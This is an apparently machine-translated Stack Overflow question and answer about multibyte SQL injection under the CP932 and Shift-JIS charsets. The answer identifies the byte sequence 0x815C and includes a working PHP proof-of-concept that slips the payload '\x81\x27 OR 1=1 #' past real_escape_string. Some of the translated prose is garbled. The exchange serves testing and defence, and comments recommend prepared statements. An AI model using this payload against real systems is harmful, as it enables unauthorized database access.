2015-02-24 15 views
36

Tôi đang viết một số kiểm tra đơn vị để đảm bảo mã của tôi không dễ bị tấn công SQL dưới nhiều bộ ký tự khác nhau.Làm thế nào để tạo ra một cuộc tấn công SQL injection với Shift-JIS và CP932?

Theo this answer, bạn có thể tạo một lỗ hổng bằng cách tiêm \xbf\x27 bằng một trong những bảng mã sau: big5, cp932, gb2312, gbksjis

này là bởi vì nếu escaper của bạn không được cấu hình một cách chính xác, nó sẽ thấy 0x27 và cố gắng thoát khỏi nó sao cho nó trở thành \xbf\x5c\x27. Tuy nhiên, \xbf\x5c thực tế là một ký tự trong các bộ ký tự này, do đó báo giá (0x27) không bị thoát.

Như tôi đã khám phá qua thử nghiệm, tuy nhiên, điều này không hoàn toàn đúng. Nó hoạt động cho big5, gb2312gbk nhưng không phải 0xbf27 hoặc 0xbf5c là các ký tự hợp lệ trong sjiscp932.

Cả

mb_strpos("abc\xbf\x27def","'",0,'sjis') 

mb_strpos("abc\xbf\x27def","'",0,'cp932') 

Return 4. tức là, PHP không thấy \xbf\x27 là một ký tự đơn. Điều này trả về false cho big5, gb2312gbk.

Ngoài ra, đây:

mb_strlen("\xbf\x5c",'sjis') 

Returns 2 (nó trả 1 cho gbk).

Vì vậy, câu hỏi đặt ra là: có một chuỗi ký tự khác làm cho sjiscp932 dễ bị tiêm SQL hay không thực sự là không phải là dễ bị tổn thương không? hoặc là nói dối PHP, tôi hoàn toàn nhầm lẫn, và MySQL sẽ giải thích điều này hoàn toàn khác nhau?

+6

Tôi đã nhìn thấy SQL injection này với [Node.JS] (http://meta.security.stackexchange.com/a/2243/25859) khi tham gia vào một CTF. [Lý thuyết là có (trang 34)] (https://www.ipa.go.jp/files/000017321.pdf) về cách nó hoạt động nhưng tôi dường như không thể tái tạo nó trong PHP. Thông tin thêm về những gì tôi đã thử [trong phòng chat php] (http://chat.stackoverflow.com/transcript/message/29401516#29401516). Tôi sẽ đặt một tiền thưởng cho câu hỏi này cho bất cứ ai có thể cung cấp một cách cụ thể/thiết lập để khai thác điều này trong PHP. – HamZa

+1

Luôn kiểm tra mã của bạn. Tuy nhiên, nếu bạn thực sự muốn làm cho ứng dụng của bạn an toàn hơn so với SQL injection, bạn có thể muốn sử dụng các câu lệnh đã chuẩn bị trong Cổng của bạn và gửi sql và dữ liệu cho DB một cách riêng biệt. mysqli và pdo đều hỗ trợ phương pháp xử lý sự cố này. Sử dụng câu lệnh đã chuẩn bị cũng có thể giúp bạn tăng tốc đáng kể khi Bạn lặp lại thực thi cùng một câu lệnh với nhiều dữ liệu khác nhau. http://stackoverflow.com/questions/8263371/how-can-prepared-statements-protect-from-sql-injection-attacks – Max

+0

Cách duy nhất để ngăn chặn các cuộc tấn công SQL injection là sử dụng các truy vấn được tham số hóa thay vì chuỗi nối và thay thế. Không có số lượng thoát là sẽ sửa lỗi này. Nó cũng dễ dàng hơn để viết mã truy vấn tham số hơn là sử dụng thao tác chuỗi. Sự tồn tại của cuộc gọi 'mb_strpos' đó có nghĩa là mã dễ bị tấn công bởi các lệnh tiêm –

Trả lời

20

The devil là tại các chi tiết ... chúng ta hãy bắt đầu với cách answer in question mô tả danh sách các bộ ký tự dễ bị tổn thương:

Đối với cuộc tấn công này để làm việc, chúng ta cần mã hóa mà máy chủ của kỳ vọng vào kết nối cả hai để mã hóa ' như trong ASCII tức là 0x27 để có một số ký tự có byte cuối cùng là ASCII \ tức là 0x5c. Khi nó quay ra, có 5 mã hóa như vậy được hỗ trợ trong MySQL 5.6 theo mặc định: big5, cp932, gb2312, gbksjis. Chúng tôi sẽ chọn gbk tại đây.

Điều này cho chúng tôi ngữ cảnh - 0xbf5c được sử dụng làm ví dụ cho gbk, không phải là ký tự chung để sử dụng cho tất cả 5 bộ ký tự.
Nó chỉ xảy ra khi cùng một chuỗi byte cũng là một ký tự hợp lệ theo big5gb2312.

Tại thời điểm này, câu hỏi của bạn trở nên dễ dàng như này:

Những chuỗi byte là một nhân vật có giá trị dưới cp932sjis và kết thúc vào 0x5c?

Để công bằng, hầu hết các tìm kiếm trên google mà tôi đã thử cho các bộ ký tự này không cung cấp bất kỳ kết quả hữu ích nào. Nhưng tôi đã tìm thấy this CP932.TXT file, trong đó nếu bạn tìm kiếm '5c ' (với không gian đó), bạn sẽ nhảy đến dòng này:

0x815C 0x2015 #HORIZONTAL BAR

Và chúng tôi có một người chiến thắng ! :)

Some Oracle document khẳng định rằng 0x815c là nhân vật tương tự cho cả hai cp932sjis và PHP nhận nó quá:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis")); 
int(1) 
int(1) 

Dưới đây là một kịch bản PoC cho cuộc tấn công:

<?php 
$username = 'username'; 
$password = 'password'; 

$mysqli = new mysqli('localhost', $username, $password); 
foreach (array('cp932', 'sjis') as $charset) 
{ 
     $mysqli->query("SET NAMES {$charset}"); 
     $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); 
     $mysqli->query("USE {$charset}_db"); 
     $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); 
     $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); 

     $input = "\x81\x27 OR 1=1 #"; 
     $input = $mysqli->real_escape_string($input); 
     $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; 
     $result = $mysqli->query($query); 
     if ($result->num_rows > 1) 
     { 
       echo "{$charset} exploit successful!\n"; 
     } 

     $mysqli->query("DROP DATABASE {$charset}_db"); 
} 
+0

Aha!Tôi có thể đã đọc rằng là "5 mã hóa như vậy" có 0xbf5c như một nhân vật, không phải là có một ký tự kết thúc bằng 0x5c. Câu trả lời tuyệt vời, cảm ơn bạn! – mpen

+0

Tôi tò mò về điều này thực sự ... '\ x81 \ x27' là ** không ** một ký tự hợp lệ trong cp932, nhưng nó vẫn được hiểu là 1 char (tôi đoán vì 0x81 là một" byte chì "). Nếu không, '\ x27' sẽ cần phải được thoát và chúng ta sẽ dễ bị tổn thương. Có bất kỳ bộ ký tự nào trong đó '0x__27' được coi là hai ký tự, nhưng' 0x__5c' là một char không? Trong một kịch bản như vậy nó sẽ được khôn lanh để thoát khỏi một cách chính xác. – mpen

+0

Nvm, [dường như không có] (https://gist.github.com/mnpenner/cd7806b645c35ea634d0) các bộ ký tự như vậy. – mpen

Các vấn đề liên quan